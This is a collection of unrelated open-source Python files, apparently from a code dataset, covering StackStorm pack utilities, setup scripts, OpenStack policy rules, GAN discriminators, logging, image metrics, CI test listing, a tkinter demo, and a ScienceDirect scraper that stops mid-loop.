# Copyright 2020 The StackStorm Authors. # Copyright 2019 Extreme Networks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import import os import re import collections import six from st2common.util import schema as util_schema from st2common.constants.pack import MANIFEST_FILE_NAME from st2common.constants.pack import PACK_REF_WHITELIST_REGEX from st2common.content.loader import MetaLoader from st2common.persistence.pack import Pack from st2common.exceptions.apivalidation import ValueValidationException from st2common.util import jinja as jinja_utils __all__ = [ 'get_pack_ref_from_metadata', 'get_pack_metadata', 'get_pack_warnings', 'get_pack_common_libs_path_for_pack_ref', 'get_pack_common_libs_path_for_pack_db', 'validate_config_against_schema', 'normalize_pack_version' ] # Common format for python 2.7 warning if six.PY2: PACK_PYTHON2_WARNING = "DEPRECATION WARNING: Pack %s only supports Python 2.x. " \ "Python 2 support will be dropped in future releases. " \ "Please consider updating your packs to work with Python 3.x" else: PACK_PYTHON2_WARNING = "DEPRECATION WARNING: Pack %s only supports Python 2.x. " \ "Python 2 support has been removed since st2 v3.4.0. " \ "Please update your packs to work with Python 3.x" def get_pack_ref_from_metadata(metadata, pack_directory_name=None): """ Utility function which retrieves pack "ref" attribute from the pack metadata file. If this attribute is not provided, an attempt is made to infer "ref" from the "name" attribute. :rtype: ``str`` """ pack_ref = None # The rules for the pack ref are as follows: # 1. If ref attribute is available, we used that # 2. If pack_directory_name is available we use that (this only applies to packs # which are in sub-directories) # 2. If attribute is not available, but pack name is and pack name meets the valid name # criteria, we use that if metadata.get('ref', None): pack_ref = metadata['ref'] elif pack_directory_name and re.match(PACK_REF_WHITELIST_REGEX, pack_directory_name): pack_ref = pack_directory_name else: if re.match(PACK_REF_WHITELIST_REGEX, metadata['name']): pack_ref = metadata['name'] else: msg = ('Pack name "%s" contains invalid characters and "ref" attribute is not ' 'available. You either need to add "ref" attribute which contains only word ' 'characters to the pack metadata file or update name attribute to contain only' 'word characters.') raise ValueError(msg % (metadata['name'])) return pack_ref def get_pack_metadata(pack_dir): """ Return parsed metadata for a particular pack directory. :rtype: ``dict`` """ manifest_path = os.path.join(pack_dir, MANIFEST_FILE_NAME) if not os.path.isfile(manifest_path): raise ValueError('Pack "%s" is missing %s file' % (pack_dir, MANIFEST_FILE_NAME)) meta_loader = MetaLoader() content = meta_loader.load(manifest_path) if not content: raise ValueError('Pack "%s" metadata file is empty' % (pack_dir)) return content def get_pack_warnings(pack_metadata): """ Return warning string if pack metadata indicates only python 2 is supported :rtype: ``str`` """ warning = None versions = pack_metadata.get('python_versions', None) pack_name = pack_metadata.get('name', None) if versions and set(versions) == set(['2']): warning = PACK_PYTHON2_WARNING % pack_name return warning def validate_config_against_schema(config_schema, config_object, config_path, pack_name=None): """ Validate provided config dictionary against the provided config schema dictionary. """ # NOTE: Lazy improt to avoid performance overhead of importing this module when it's not used import jsonschema pack_name = pack_name or 'unknown' schema = util_schema.get_schema_for_resource_parameters(parameters_schema=config_schema, allow_additional_properties=True) instance = config_object try: cleaned = util_schema.validate(instance=instance, schema=schema, cls=util_schema.CustomValidator, use_default=True, allow_default_none=True) for key in cleaned: if (jinja_utils.is_jinja_expression(value=cleaned.get(key)) and "decrypt_kv" in cleaned.get(key) and config_schema.get(key).get('secret')): raise ValueValidationException('Values specified as "secret: True" in config ' 'schema are automatically decrypted by default. Use ' 'of "decrypt_kv" jinja filter is not allowed for ' 'such values. Please check the specified values in ' 'the config or the default values in the schema.') except jsonschema.ValidationError as e: attribute = getattr(e, 'path', []) if isinstance(attribute, (tuple, list, collections.Iterable)): attribute = [str(item) for item in attribute] attribute = '.'.join(attribute) else: attribute = str(attribute) msg = ('Failed validating attribute "%s" in config for pack "%s" (%s): %s' % (attribute, pack_name, config_path, six.text_type(e))) raise jsonschema.ValidationError(msg) return cleaned def get_pack_common_libs_path_for_pack_ref(pack_ref): pack_db = Pack.get_by_ref(pack_ref) pack_common_libs_path = get_pack_common_libs_path_for_pack_db(pack_db=pack_db) return pack_common_libs_path def get_pack_common_libs_path_for_pack_db(pack_db): """ Return the pack's common lib path. This is the path where common code for sensors and actions are placed. For example, if the pack is at /opt/stackstorm/packs/my_pack, you can place common library code for actions and sensors in /opt/stackstorm/packs/my_pack/lib/. This common library code is only available for python sensors and actions. The lib structure also needs to follow a python convention with a __init__.py file. :param pack_db: Pack DB model :type pack_db: :class:`PackDB` :rtype: ``str`` """ pack_dir = getattr(pack_db, 'path', None) if not pack_dir: return None libs_path = os.path.join(pack_dir, 'lib') return libs_path def normalize_pack_version(version): """ Normalize old, pre StackStorm v2.1 non valid semver version string (e.g. 0.2) to a valid semver version string (0.2.0). :rtype: ``str`` """ version = str(version) version_seperator_count = version.count('.') if version_seperator_count == 1: version = version + '.0' return version

6acd5e71b7f337a2cb3ca947d7cf6d05f0a0b474

py

Python

setup.py

chearon/macpack

1cf6ce453dd33a811343e4bb6ee5575bc9fe919d

2016-11-14T14:09:57.000Z

2022-01-26T02:22:45.000Z

setup.py

najiji/macpack

20b518e9bc0f4e58d47c5416a686a4b246a3764d

2016-11-14T14:09:53.000Z

2019-04-18T15:49:14.000Z

setup.py

najiji/macpack

20b518e9bc0f4e58d47c5416a686a4b246a3764d

2018-01-27T15:38:46.000Z

2019-04-09T16:21:23.000Z

import setuptools import os try: import pypandoc description = pypandoc.convert('README.md', 'rst') if os.path.exists('README.md') else '' except ImportError: description = '' setuptools.setup( name = 'macpack', packages = setuptools.find_packages(), version = '1.0.3', description = 'Makes a macOS binary redistributable by searching the dependency tree and copying/patching non-system libraries.', long_description = description, author = 'Caleb Hearon', author_email = 'caleb@chearon.net', url = 'https://github.com/chearon/macpack', download_url = 'https://github.com/chearon/macpack/tarball/v1.0.3', keywords = ['macos', 'bundle', 'package', 'redistribute', 'redistributable', 'install_name_tool', 'otool', 'mach'], classifiers = [], entry_points = { 'console_scripts': ['macpack=macpack.patcher:main'], } )

6ad40da9c9320f7c8df4a83d064f6172f24c03ec

py

Python

karbor-1.3.0/karbor/policies/protectables.py

scottwedge/OpenStack-Stein

7077d1f602031dace92916f14e36b124f474de15

karbor-1.3.0/karbor/policies/protectables.py

scottwedge/OpenStack-Stein

7077d1f602031dace92916f14e36b124f474de15

2019-08-14T06:46:03.000Z

2021-12-13T20:01:25.000Z

karbor-1.3.0/karbor/policies/protectables.py

scottwedge/OpenStack-Stein

7077d1f602031dace92916f14e36b124f474de15

2020-03-15T01:24:15.000Z

2020-07-22T20:34:26.000Z

# Copyright (c) 2017 Huawei Technologies Co., Ltd. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo_policy import policy from karbor.policies import base GET_POLICY = 'protectable:get' GET_ALL_POLICY = 'protectable:get_all' INSTANCES_GET_POLICY = 'protectable:instance_get' INSTANCES_GET_ALL_POLICY = 'protectable:instance_get_all' protectables_policies = [ policy.DocumentedRuleDefault( name=GET_POLICY, check_str=base.RULE_ADMIN_OR_OWNER, description='Show a protectable type.', operations=[ { 'method': 'GET', 'path': '/protectables/{protectable_type}' } ]), policy.DocumentedRuleDefault( name=GET_ALL_POLICY, check_str=base.RULE_ADMIN_OR_OWNER, description='List protectable types.', operations=[ { 'method': 'GET', 'path': '/protectables' } ]), policy.DocumentedRuleDefault( name=INSTANCES_GET_POLICY, check_str=base.RULE_ADMIN_OR_OWNER, description='Show a protectable instance.', operations=[ { 'method': 'GET', 'path': '/protectables/{protectable_type}/' 'instances/{resource_id}' } ]), policy.DocumentedRuleDefault( name=INSTANCES_GET_ALL_POLICY, check_str=base.RULE_ADMIN_OR_OWNER, description='List protectable instances.', operations=[ { 'method': 'GET', 'path': '/protectables/{protectable_type}/instances' } ]), ] def list_rules(): return protectables_policies

6ae26b063b0fbd07c2ce06161f218674d84af1d4

py

Python

ice/consoles.py

reavessm/Ice

e78d046abfd6006b1a81d1cbdb516b7c3e141ac9

2015-01-02T12:43:52.000Z

2022-03-27T23:45:32.000Z

ice/consoles.py

reavessm/Ice

e78d046abfd6006b1a81d1cbdb516b7c3e141ac9

2015-01-05T01:56:38.000Z

2021-08-14T02:51:24.000Z

ice/consoles.py

reavessm/Ice

e78d046abfd6006b1a81d1cbdb516b7c3e141ac9

2015-01-07T15:43:20.000Z

2021-12-11T19:10:44.000Z

# encoding: utf-8 import os import roms def console_roms_directory(configuration, console): """ If the user has specified a custom ROMs directory in consoles.txt then return that. Otherwise, append the shortname of the console to the default ROMs directory given by config.txt. """ if console.custom_roms_directory: return console.custom_roms_directory return os.path.join(roms.roms_directory(configuration), console.shortname) def path_is_rom(console, path): """ This function determines if a given path is actually a valid ROM file. If a list of extensions is supplied for this console, we check if the path has a valid extension If no extensions are defined for this console, we just accept any file """ if console.extensions == "": return True # Normalize the extension based on the things we validly ignore. # Aka capitalization, whitespace, and leading dots normalize = lambda ext: ext.lower().strip().lstrip('.') (name, ext) = os.path.splitext(path) valid_extensions = console.extensions.split(',') return normalize(ext) in map(normalize, valid_extensions)

6aea2be020c7e8aa245e0f3059dcd2d6daefd1b7

py

Python

advent/model/discriminator.py

ChristopheGraveline064/ADVENT

fc0ecd099862ed68979b2197423f1bb34df09c74

2021-01-17T06:02:10.000Z

2021-01-17T06:02:10.000Z

advent/model/discriminator.py

ChristopheGraveline064/ADVENT

fc0ecd099862ed68979b2197423f1bb34df09c74

2021-01-17T06:21:29.000Z

2021-01-17T20:19:50.000Z

advent/model/discriminator.py

ChristopheGraveline064/ADVENT

fc0ecd099862ed68979b2197423f1bb34df09c74

from torch import nn def get_fc_discriminator(num_classes, ndf=64): return nn.Sequential( nn.Conv2d(num_classes, ndf, kernel_size=4, stride=2, padding=1), nn.LeakyReLU(negative_slope=0.2, inplace=True), nn.Conv2d(ndf, ndf * 2, kernel_size=4, stride=2, padding=1), nn.LeakyReLU(negative_slope=0.2, inplace=True), nn.Conv2d(ndf * 2, ndf * 4, kernel_size=4, stride=2, padding=1), nn.LeakyReLU(negative_slope=0.2, inplace=True), nn.Conv2d(ndf * 4, ndf * 8, kernel_size=4, stride=2, padding=1), nn.LeakyReLU(negative_slope=0.2, inplace=True), nn.Conv2d(ndf * 8, 1, kernel_size=4, stride=2, padding=1), ) # def get_fe_discriminator(num_classes, ndf=64): # 256-128-64-32-16 # return nn.Sequential( # nn.Conv2d(num_classes, ndf * 4, kernel_size=4, stride=2, padding=1), # nn.LeakyReLU(negative_slope=0.2, inplace=True), # nn.Conv2d(ndf * 4, ndf * 2, kernel_size=4, stride=2, padding=1), # nn.LeakyReLU(negative_slope=0.2, inplace=True), # nn.Conv2d(ndf * 2, ndf, kernel_size=2, stride=2, padding=0), # nn.LeakyReLU(negative_slope=0.2, inplace=True), # # nn.Conv2d(ndf * 4, ndf * 8, kernel_size=4, stride=2, padding=1), # # nn.LeakyReLU(negative_slope=0.2, inplace=True), # nn.Conv2d(ndf, 1, kernel_size=2, stride=2, padding=0), # ) # def get_fe_discriminator(num_classes, ndf=64): # return nn.Sequential( # nn.Conv2d(num_classes, ndf, kernel_size=4, stride=2, padding=1), # nn.LeakyReLU(negative_slope=0.2, inplace=True), # nn.Conv2d(ndf, ndf * 2, kernel_size=4, stride=2, padding=1), # nn.LeakyReLU(negative_slope=0.2, inplace=True), # nn.Conv2d(ndf * 2, ndf * 4, kernel_size=4, stride=2, padding=1), # nn.LeakyReLU(negative_slope=0.2, inplace=True), # # nn.Conv2d(ndf * 4, ndf * 8, kernel_size=4, stride=2, padding=1), # # nn.LeakyReLU(negative_slope=0.2, inplace=True), # nn.Conv2d(ndf * 4, 1, kernel_size=1, stride=1, padding=0), # ) def get_fe_discriminator(num_classes, ndf=64): # H/8,H/8,(1024 -> 256 -> 128 -> 64 -> 1) return nn.Sequential( nn.Conv2d(num_classes, ndf * 4, kernel_size=1, stride=1, padding=0), # x=self.dropout(x) nn.LeakyReLU(negative_slope=0.2, inplace=True), nn.Conv2d(ndf * 4, ndf * 2, kernel_size=1, stride=1, padding=0), # x=self.dropout(x) nn.LeakyReLU(negative_slope=0.2, inplace=True), nn.Conv2d(ndf * 2, ndf, kernel_size=1, stride=1, padding=0), # x=self.dropout(x) nn.LeakyReLU(negative_slope=0.2, inplace=True), # nn.Conv2d(ndf * 4, ndf * 8, kernel_size=4, stride=2, padding=1), # nn.LeakyReLU(negative_slope=0.2, inplace=True), nn.Conv2d(ndf, 1, kernel_size=1, stride=1, padding=0), )

6aea82e968ce364fdac8932cf3b83554a12ac797

py

Python

setup.py

jasperhyp/Chemprop4SE

c02b604b63b6766464db829fea0b306c67302e82

2021-12-15T05:18:07.000Z

2021-12-15T05:18:07.000Z

setup.py

jasperhyp/chemprop4SE

c02b604b63b6766464db829fea0b306c67302e82

setup.py

jasperhyp/chemprop4SE

c02b604b63b6766464db829fea0b306c67302e82

import os from setuptools import find_packages, setup # Load version number __version__ = None src_dir = os.path.abspath(os.path.dirname(__file__)) version_file = os.path.join(src_dir, 'chemprop', '_version.py') with open(version_file, encoding='utf-8') as fd: exec(fd.read()) # Load README with open('README.md', encoding='utf-8') as f: long_description = f.read() setup( name='chemprop', version=__version__, author='Kyle Swanson, Kevin Yang, Wengong Jin, Lior Hirschfeld, Allison Tam', author_email='chemprop@mit.edu', description='Molecular Property Prediction with Message Passing Neural Networks', long_description=long_description, long_description_content_type='text/markdown', url='https://github.com/chemprop/chemprop', download_url=f'https://github.com/chemprop/chemprop/v_{__version__}.tar.gz', project_urls={ 'Documentation': 'https://chemprop.readthedocs.io/en/latest/', 'Source': 'https://github.com/chemprop/chemprop', 'PyPi': 'https://pypi.org/project/chemprop/', 'Demo': 'http://chemprop.csail.mit.edu/', }, license='MIT', packages=find_packages(), package_data={'chemprop': ['py.typed']}, entry_points={ 'console_scripts': [ 'chemprop_train=chemprop.train:chemprop_train', 'chemprop_predict=chemprop.train:chemprop_predict', 'chemprop_fingerprint=chemprop.train:chemprop_fingerprint', 'chemprop_hyperopt=chemprop.hyperparameter_optimization:chemprop_hyperopt', 'chemprop_interpret=chemprop.interpret:chemprop_interpret', 'chemprop_web=chemprop.web.run:chemprop_web', 'sklearn_train=chemprop.sklearn_train:sklearn_train', 'sklearn_predict=chemprop.sklearn_predict:sklearn_predict', ] }, install_requires=[ 'flask>=1.1.2', 'hyperopt>=0.2.3', 'matplotlib>=3.1.3', 'numpy>=1.18.1', 'pandas>=1.0.3', 'pandas-flavor>=0.2.0', 'scikit-learn>=0.22.2.post1', 'scipy>=1.4.1', 'sphinx>=3.1.2', 'tensorboardX>=2.0', 'torch>=1.5.1', 'tqdm>=4.45.0', 'typed-argument-parser>=1.6.1' ], extras_require={ 'test': [ 'pytest>=6.2.2', 'parameterized>=0.8.1' ] }, python_requires='>=3.6', classifiers=[ 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent' ], keywords=[ 'chemistry', 'machine learning', 'property prediction', 'message passing neural network', 'graph neural network' ] )

6aed847e420c882fffa9edfe88238102ee06ac09

py

Python

rqalpha/utils/logger.py

HaidongHe/rqalpha

bb824178425909e051c456f6062a6c5bdc816421

2020-11-10T05:44:39.000Z

2020-11-10T05:44:39.000Z

rqalpha/utils/logger.py

HaidongHe/rqalpha

bb824178425909e051c456f6062a6c5bdc816421

rqalpha/utils/logger.py

HaidongHe/rqalpha

bb824178425909e051c456f6062a6c5bdc816421

2020-03-05T05:06:45.000Z

2020-03-05T05:06:45.000Z

# -*- coding: utf-8 -*- # 版权所有 2019 深圳米筐科技有限公司（下称“米筐科技”） # # 除非遵守当前许可，否则不得使用本软件。 # # * 非商业用途（非商业用途指个人出于非商业目的使用本软件，或者高校、研究所等非营利机构出于教育、科研等目的使用本软件）： # 遵守 Apache License 2.0（下称“Apache 2.0 许可”），您可以在以下位置获得 Apache 2.0 许可的副本：http://www.apache.org/licenses/LICENSE-2.0。 # 除非法律有要求或以书面形式达成协议，否则本软件分发时需保持当前许可“原样”不变，且不得附加任何条件。 # # * 商业用途（商业用途指个人出于任何商业目的使用本软件，或者法人或其他组织出于任何目的使用本软件）： # 未经米筐科技授权，任何个人不得出于任何商业目的使用本软件（包括但不限于向第三方提供、销售、出租、出借、转让本软件、本软件的衍生产品、引用或借鉴了本软件功能或源代码的产品或服务），任何法人或其他组织不得出于任何目的使用本软件，否则米筐科技有权追究相应的知识产权侵权责任。 # 在此前提下，对本软件的使用同样需要遵守 Apache 2.0 许可，Apache 2.0 许可与本许可冲突之处，以本许可为准。 # 详细的授权流程，请联系 public@ricequant.com 获取。 from datetime import datetime import logbook from logbook import Logger, StderrHandler from rqalpha.utils.py2 import to_utf8 logbook.set_datetime_format("local") # patch warn logbook.base._level_names[logbook.base.WARNING] = 'WARN' __all__ = [ "user_log", "system_log", "user_system_log", ] DATETIME_FORMAT = "%Y-%m-%d %H:%M:%S.%f" def user_std_handler_log_formatter(record, handler): from rqalpha.environment import Environment try: dt = Environment.get_instance().calendar_dt.strftime(DATETIME_FORMAT) except Exception: dt = datetime.now().strftime(DATETIME_FORMAT) log = "{dt} {level} {msg}".format( dt=dt, level=record.level_name, msg=to_utf8(record.message), ) return log user_std_handler = StderrHandler(bubble=True) user_std_handler.formatter = user_std_handler_log_formatter def formatter_builder(tag): def formatter(record, handler): log = "[{formatter_tag}] [{time}] {level}: {msg}".format( formatter_tag=tag, level=record.level_name, msg=to_utf8(record.message), time=record.time, ) if record.formatted_exception: log += "\n" + record.formatted_exception return log return formatter # loggers # 用户代码logger日志 user_log = Logger("user_log") # 给用户看的系统日志 user_system_log = Logger("user_system_log") # 用于用户异常的详细日志打印 user_detail_log = Logger("user_detail_log") # user_detail_log.handlers.append(StderrHandler(bubble=True)) # 系统日志 system_log = Logger("system_log") basic_system_log = Logger("basic_system_log") # 标准输出日志 std_log = Logger("std_log") def init_logger(): system_log.handlers = [StderrHandler(bubble=True)] basic_system_log.handlers = [StderrHandler(bubble=True)] std_log.handlers = [StderrHandler(bubble=True)] user_log.handlers = [] user_system_log.handlers = [] def user_print(*args, **kwargs): sep = kwargs.get("sep", " ") end = kwargs.get("end", "") message = sep.join(map(str, args)) + end user_log.info(message) init_logger()

0a73919f13735ea63c30a1b71cb346f2f001cba6

py

Python

metrics.py

AndreasLH/Image-Colourization

b41182354446feeb80000a84e5db9100b30e9d81

2021-11-01T09:53:34.000Z

2021-11-01T09:53:34.000Z

metrics.py

AndreasLH/Image-Colourization

b41182354446feeb80000a84e5db9100b30e9d81

metrics.py

AndreasLH/Image-Colourization

b41182354446feeb80000a84e5db9100b30e9d81

from math import log10, sqrt import cv2 import numpy as np def PSNR(original, compressed): ''' Calculates the Peak signal to noise ratio between a ground truth image and predicted image. see https://www.geeksforgeeks.org/python-peak-signal-to-noise-ratio-psnr/ for reference Parameters ---------- true image (cv2 image) predicted image (cv2 image) Returns ------- PSNR score ''' mse = np.mean((original - compressed) ** 2) if(mse == 0): # MSE is zero means no noise is present in the signal . # Therefore PSNR have no importance. return 100 max_pixel = 255.0 psnr = 20 * log10(max_pixel / sqrt(mse)) return psnr def colourfulnessMetric(img): """ Created on Mon Nov 15 10:55:16 2021 @author: Yucheng Parameters ---------- img : cv2 RGB image Returns ------- M : colourness metric ----------------------------- |not colourful | 0 | |slightly colorful | 15 | |moderately colourful | 33 | |averagely colourful | 45 | |quite colourful | 59 | |highly colourful | 82 | |extremely colourful | 109 | ----------------------------- """ # Get RGB components R,G,B = cv2.split(img.astype("float")) # colourfulness metric from Hasler et al., section 7 rg = R - G yb = (1/2) * (R+G) - B sigma_rgyb = np.sqrt(np.var(rg) + np.var(yb)) mu_rgyb = np.sqrt(np.mean(rg)**2 + np.mean(yb)**2) M = sigma_rgyb + 0.3 * mu_rgyb return M def main(): import matplotlib.pyplot as plt original = cv2.imread("test_imgs/original_image.png") compressed = cv2.imread("test_imgs/compressed_image1.png", 1) value = PSNR(original, compressed) print(f"PSNR value is {value} dB") img2 = cv2.imread("rainbow.jpg") # opens as BGR img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2RGB) plt.imshow(img2[:,:,:]) plt.show() M = colourfulnessMetric(img2) print(M) if __name__ == "__main__": main()

0a7533a2a833e21052e44904ba80f9df53fd03e4

py

Python

scripts/list-all-test-suites-for-ci.py

uc-cdis/gen3-qa

6634678b17cb5dd86533667c22037b1e2ddeb0b8

2019-08-30T22:25:24.000Z

2021-09-15T19:19:44.000Z

scripts/list-all-test-suites-for-ci.py

uc-cdis/gen3-qa

6634678b17cb5dd86533667c22037b1e2ddeb0b8

2018-04-16T17:26:54.000Z

2022-03-04T16:16:02.000Z

scripts/list-all-test-suites-for-ci.py

uc-cdis/gen3-qa

6634678b17cb5dd86533667c22037b1e2ddeb0b8

2019-08-01T03:15:38.000Z

2022-03-07T01:23:12.000Z

import os import subprocess test_suites_that_cant_run_in_parallel = [ "test-apis-dbgapTest", # not thread-safe "test-google-googleDataAccessTest", # not thread-safe "test-google-googleServiceAccountRemovalTest", # not thread-safe "test-guppy-guppyTest", # not thread-safe "test-smokeTests-brainTests", # manual (executable test) "test-batch-GoogleBucketManifestGenerationTest", # @donot "test-batch-S3BucketManifestGenerationTest", # @donot "test-portal-dataguidOrgTest", # @donot "test-mariner-marinerIntegrationTest", # @donot "test-suites-fail", # special suite to force failures for invalid test labels "test-portal-roleBasedUITest", # manual (executable test) "test-portal-limitedFilePFBExportTestPlan", # manual (executable test) "test-access-accessGUITest", # manual (executable test) "test-portal-tieredAccessTest", # manual (executable test) "test-portal-discoveryPageTestPlan", # manual (executable test) "test-portal-dashboardReportsTest", # manual (executable test) "test-guppy-nestedAggTest", # manual (executable test) "test-portal-404pageTest", # manual (executable test) "test-apis-dcfDataReplicationTest", # manual (executable test) "test-portal-exportPfbToWorkspaceTest", # manual (executable test) "test-portal-homepageChartNodesExecutableTestPlan",# manual (executable test) "test-portal-profilePageTest", # manual (executable test) "test-portal-terraExportWarningTestPlan", # manual (executable test) "test-pelican-exportPfbTest", # not ready "test-regressions-exportPerformanceTest", # legacy (disabled test) "test-regressions-generateTestData", # legacy (disabled test) "test-regressions-queryPerformanceTest", # legacy (disabled test) "test-regressions-submissionPerformanceTest", # legacy (disabled test) "test-dream-challenge-DCgen3clientTest", # legacy (disabled test) "test-dream-challenge-synapaseLoginTest", # legacy (disabled test) "test-prod-checkAllProjectsBucketAccessTest", # prod test "test-portal-pfbExportTest", # nightly build test "test-apis-etlTest", # long-running test "test-apis-centralizedAuth", # long-running test "test-google-googleServiceAccountTest", # long-running test "test-google-googleServiceAccountKeyTest", # long-running test "test-portal-dataUploadTest", # SUPER long-running test "test-portal-indexingPageTest", # long-running test "test-apis-metadataIngestionTest", # long-running test "test-apis-auditServiceTest" # long-running test ] def collect_test_suites_from_codeceptjs_dryrun(): my_env = os.environ.copy() bashCommand = "npx codeceptjs dry-run" process = subprocess.Popen( bashCommand.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=my_env ) output, error = process.communicate() test_suites = [] for line in output.splitlines(): line = line.decode("utf-8") # print(f'### line: {line}') # ignore pre-release test suites if "pre-release" in line: continue elif ".js" in line: full_path_to_test_js = line.split("/") suite_folder = full_path_to_test_js[-2] # print(f'## suite_folder: {suite_folder}') test_script = full_path_to_test_js[-1] # print(f'## test_script: {test_script}') test_script_without_extension = test_script[0 : test_script.index(".")] test_suite = f"test-{suite_folder}-{test_script_without_extension}" test_suites.append(test_suite) return test_suites def main(): test_suites = collect_test_suites_from_codeceptjs_dryrun() for ts in test_suites: if ts not in test_suites_that_cant_run_in_parallel: print(ts) # print(f"## ## test_suites: {test_suites}") # print(f"## test_suites size: {len(test_suites)}") if __name__ == "__main__": main()

0a7c6f49614d6822678c761e9a25fddc34bcb0a8

py

Python

SC101Lecture_code/SC101_week4/draw_basic.py

Jewel-Hong/SC-projects

9502b3f0c789a931226d4ce0200ccec56e47bc14

SC101Lecture_code/SC101_week4/draw_basic.py

Jewel-Hong/SC-projects

9502b3f0c789a931226d4ce0200ccec56e47bc14

SC101Lecture_code/SC101_week4/draw_basic.py

Jewel-Hong/SC-projects

9502b3f0c789a931226d4ce0200ccec56e47bc14

#!/usr/bin/env python3 """ Stanford CS106AP TK Drawing Lecture Exercises Courtesy of Nick Parlante """ import tkinter as tk # provided function, this code is complete def make_canvas(width, height): """ Creates and returns a drawing canvas of the given int size, ready for drawing. """ top = tk.Tk() top.minsize(width=width + 10, height=height + 10) canvas = tk.Canvas(top, width=width, height=height) canvas.pack() canvas.xview_scroll(6, "units") # hack so (0, 0) works correctly canvas.yview_scroll(6, "units") return canvas def main(): w = make_canvas(1000, 500) w.create_line(0, 0, 1000, 500, width=5, fill='red') w.create_text(0, 0, text='SC101', anchor=tk.NW, font='times 80') tk.mainloop() #告訴電腦不要關掉視窗 if __name__ == '__main__': main()

0a7edac2ed561ec67cb5f3e276d02750502435c8

py

Python

scripts/scrape_sciencedirect_urls.py

UWPRG/BETO2020

55b5b329395da79047e9083232101d15af9f2c49

2020-03-04T21:08:11.000Z

2020-10-28T11:28:00.000Z

scripts/scrape_sciencedirect_urls.py

UWPRG/BETO2020

55b5b329395da79047e9083232101d15af9f2c49

scripts/scrape_sciencedirect_urls.py

UWPRG/BETO2020

55b5b329395da79047e9083232101d15af9f2c49

2019-04-15T16:51:16.000Z

2019-11-13T02:45:53.000Z

""" This code is used to scrape ScienceDirect of publication urls and write them to a text file in the current directory for later use. """ import selenium from selenium import webdriver import numpy as np import pandas as pd import bs4 from bs4 import BeautifulSoup import time from sklearn.utils import shuffle def scrape_page(driver): """ This method finds all the publication result web elements on the webpage. Parameters ---------- driver (Selenium webdriver object) : Instance of the webdriver class e.g. webdriver.Chrome() Returns ------- elems (list) : A list of all scraped hrefs from the page """ elems = driver.find_elements_by_class_name('ResultItem') return elems def clean(elems): """ This method takes a list of scraped selenium web elements and filters/ returns only the hrefs leading to publications. Filtering includes removing all urls with keywords that are indicative of non-html links. Parameters ---------- elems (list) : The list of hrefs to be filtered Returns ------- urls (list) : The new list of hrefs, which should be the same as the list displayed on gui ScienceDirect """ titles = [] urls = [] for elem in elems: href_child = elem.find_element_by_css_selector('a[href]') url = href_child.get_attribute('href') title = href_child.text titles.append(title) urls.append(url) return urls, titles def build_url_list(gui_prefix,search_terms,journal_list): """ This method takes the list of journals and creates a tiple nested dictionary containing all accessible urls to each page, in each year, for each journal, for a given search on sciencedirect. """ dict1 = {} years = np.arange(1995,2020) for journal in journal_list: dict2 = {} for year in years: dict3 = {} for i in range(60): url = gui_prefix + search_terms + '&show=100'+ '&articleTypes=FLA%2CREV' + '&years='+ str(year) if i != 0: url = url + '&offset=' + str(i) +'00' url = url + '&pub=' + journal dict3[i] = url dict2[year] = dict3 dict1[journal] = dict2 return dict1 def proxify(scraped_urls,uw_prefix): """ This method takes a list of scraped urls and turns them into urls that go through the UW Library proxy so that all of them are full access. Parameters ---------- scraped_urls (list) : The list of URLs to be converted uw_prefix (str) : The string that all URLs which go through the UW Library Proxy start with. Returns ------- proxy_urls (list) : The list of converted URLs which go through UW Library proxy """ proxy_urls = [] for url in scraped_urls: sd_id = url[-17:] newlink = uw_prefix + sd_id if sd_id.startswith('S'): proxy_urls.append(newlink) return proxy_urls def write_urls(urls,titles,file,journal,year): """ This method takes a list of urls and writes them to a desired text file. Parameters ---------- urls (list) : The list of URLs to be saved. file (file object) : The opened .txt file which will be written to. year (str or int) : The year associated with the publication date. Returns ------- Does not return anything """ for link,title in zip(urls,titles): line = link + ',' + title + ',' + journal + ',' + str(year) file.write(line) file.write('\n') def find_pubTitle(driver,journal): """ This method finds the identifying number for a specific journal. This identifying number is added to the gui query URL to ensure only publciations from the desired journal are being found. """ pub_elems = driver.find_elements_by_css_selector('input[id*=publicationTitles]') pub_names = [] for elem in pub_elems: pub_name = elem.get_attribute("name") if pub_name == journal: return elem.get_attribute('id')[-6:] #returns the identifying number #for that journal df = pd.read_excel('elsevier_journals.xls') df.Full_Category = df.Full_Category.str.lower() # lowercase topics for searching df = df.drop_duplicates(subset = 'Journal_Title') # drop any duplicate journals df = shuffle(df,random_state = 42) # The set of default strings that will be used to sort which journals we want journal_strings = ['chemistry','energy','molecular','atomic','chemical','biochem' ,'organic','polymer','chemical engineering','biotech','coloid'] name = df.Full_Category.str.contains # making this an easier command to type # new dataframe full of only journals who's topic description contained the # desired keywords df2 = df[name('polymer') | name('chemistry') | name('energy') | name('molecular') | name('colloid') | name('biochem') | name('organic') | name('biotech') | name('chemical')] journal_list = df2.Journal_Title # Series of only the journals to be searched gui_prefix = 'https://www.sciencedirect.com/search/advanced?qs=' search_terms = 'chemistry%20OR%20molecule%20OR%20polymer%20OR%20organic' url_dict = build_url_list(gui_prefix,search_terms,journal_list) driver = webdriver.Chrome() uw_prefix = 'https://www-sciencedirect-com.offcampus.lib.washington.edu/science/article/pii/' filename = input("Input filename with .txt extension for URL storage: ") url_counter = 0 master_list = [] file = open(filename,'a+') for journal in journal_list: for year in np.arange(1995,2020): for offset in np.arange(60): page = url_dict[journal][year][offset] print("journal, year, offset = ",journal,year,offset) driver.get(page) time.sleep(2) # need sleep to load the page properly if offset == 0: # if on page 1, we need to grab the publisher number try: 